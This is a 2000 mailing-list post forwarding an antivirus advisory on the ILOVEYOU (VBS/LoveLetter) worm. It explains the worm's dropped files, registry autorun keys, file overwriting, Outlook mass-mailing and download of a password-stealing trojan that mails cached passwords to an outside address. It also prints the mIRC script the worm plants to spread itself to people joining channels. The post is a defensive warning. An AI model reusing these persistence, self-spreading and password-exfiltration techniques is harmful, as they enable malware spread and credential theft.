Virus Name.htm
Paul F. Evans
evans at wilmington.net
Thu May 4 22:18:45 EDT 2000
Virus Name:Folks,
Sorry for and replication or redundancy. However, this is serious enough for all who use the net to be aware of it. Because the e-mail addresses are generated from infected computers there is a false sense of security because the sender will be someone you know.
Paul
Virus Name: VBS/LoveLetter.worm
Aliases: none known
Characteristics:
This worm is a VBS program that is sent attached to an email with the subject ILOVEYOU.
The mail contains the message "kindly check the attached LOVELETTER coming from me."
The attachment is called LOVE-LETTER-FOR-YOU.TXT.vbs
If the user runs the attachment the worm runs using the Windows Scripting Host program. This is not normally present on
Windows 95 or Windows NT unless Internet Explorer 5 is installed.
When the worm is first run it drops copies of itself in the following places :-
C:\WINDOWS\SYSTEM\MSKERNEL32.VBS
C:\WINDOWS\WIN32DLL.VBS
C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.TXT.VBS
It also adds the registry keys :-
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ MSKernel32=C:\WINDOWS\SYSTEM\MSKernel32.vbs
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ Win32DLL=C:\WINDOWS\Win32DLL.vbs
in order to run the worm at system start-up.
The worm replaces the following files :-
*.JPG
*.JPEG
*.MP3
*.MP2
with copies of itself and it adds the extension .VBS to the original filename. So PICT.JPG would be replaced with PICT.JPG.VBS and this would contain the worm.
The worm also overwrites the following files :-
*.VBS
*.VBE
*.JS
*.JSE
*.CSS
*.WSH
*.SCT
*.HTA
with copies of itself and renames the files to *.VBS.
The worm creates a file LOVE-LETTER-FOR-YOU.HTM which contains the worm and this is then sent to the IRC channels if
the mIRC client is installed. This is accomplished by the worm replacing the file SCRIPT.INI with the following script :-
[script]
n0=on 1:JOIN:#:{
n1= /if ( $nick == $me ) { halt }
n2= /.dcc send $nick C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.HTM
n3=}
After a short delay the worm uses Microsoft Outlook to send copies of itself to all entries in the address book.
The mails will be of the same format as the original mail.
This worm also has another trick up it's sleeve in that it tries to download and install an executable file called WIN-BUGSFIX.EXE from the Internet. This exe file is a password stealing program that will email any cached passwords
to the mail address MAILME at SUPER.NET.PH
In order to facilitate this download the worm sets the start-up page of Microsoft Internet Explorer to point to the web-page containing the password stealing trojan.
The email sent by this program is as follows :-
From: goat1 at 192.168.0.2To: mailme at super.net.phSubject: Barok... email.passwords.sender.trojanX-Mailer: Barok... email.passwords.sender.trojan---by: spyderHost: goat1Username: Goat1IP Address: 192.168.0.2
RAS Passwords:...
<password information goes here>
...
Cache Passwords:...
<password information goes here>
...
goatserver.goatnet/goatserver.goatnet : GOATNET\goat1:
MAPI : MAPI
The password stealing trojan is also installed via the following registry key :-
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX
to auto run at system start-up.
After it has been run the password stealing trojan copies itself to WINDOWS\SYSTEM\WinFAT32.EXE and replaces the registry key with
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinFAT32=WinFAT32.EXE
Date Discovered: Thursday May 4th 2000
DAT included: 4077
Risk: High
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.ibiblio.org/pipermail/b-greek/attachments/20000504/e7014e18/attachment.html
More information about the B-Greek
mailing list